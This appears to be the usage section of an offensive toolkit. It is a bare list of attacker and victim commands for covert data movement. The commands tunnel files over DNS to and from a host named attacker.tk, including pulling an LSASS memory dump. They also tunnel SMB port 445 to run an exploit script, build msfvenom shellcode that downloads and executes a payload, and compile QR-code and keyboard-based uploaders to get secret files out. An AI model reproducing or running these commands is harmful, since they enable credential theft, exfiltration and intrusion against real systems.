attacker> sudo ./dns_upload.py --udp --file dnscat.exe
victim> cscript.exe dns_download.vbs
victim> ./dns_download.sh attacker.tk 1190 /tmp/dnscat

attacker> sudo ./dns_download.py --udp --file lsass.mdmp
victim> cscript.exe dns_upload.vbs c:\path\to\lsass.mdmp attacker.tk

victim> set TIMEOUT=1000
victim> set DNS_SIZE=50
victim> dns_tcp.exe c 127.0.0.1 445
attacker> sudo ./dns_tcp.py --udp --port 53 -l 445
attacker> exploit.py localhost 445

msfvenom -p windows/exec CMD=$(cat dns_download_exec.bat) -f raw -o dns_shellcode
msfvenom -p linux/x86/exec CMD=$(cat dns_download_exec.sh) -f raw -o dns_shellcode

cl /c lib\qrcodegen.c
cl /c qr_upload.c
link /out:qr_upload.exe qr_upload.obj qrcodegen.obj
chcp 866
set TIMEOUT=1000
set SIZE=100
qr_upload.exe c:\path\to\secret.bin

gcc -c lib/qrcodegen.c
gcc -c qr_upload.c
gcc qr_upload.c qrcodegen.o -o qr_upload
setterm -background white
setterm -foreground black
TIMEOUT=1000 SIZE=100 ./qr_upload /path/to/secret.bin

setxkbmap us
cat /tmp/test.txt | ./text_send.sh
cat /tmp/test.bin | base64 | ./text_send.sh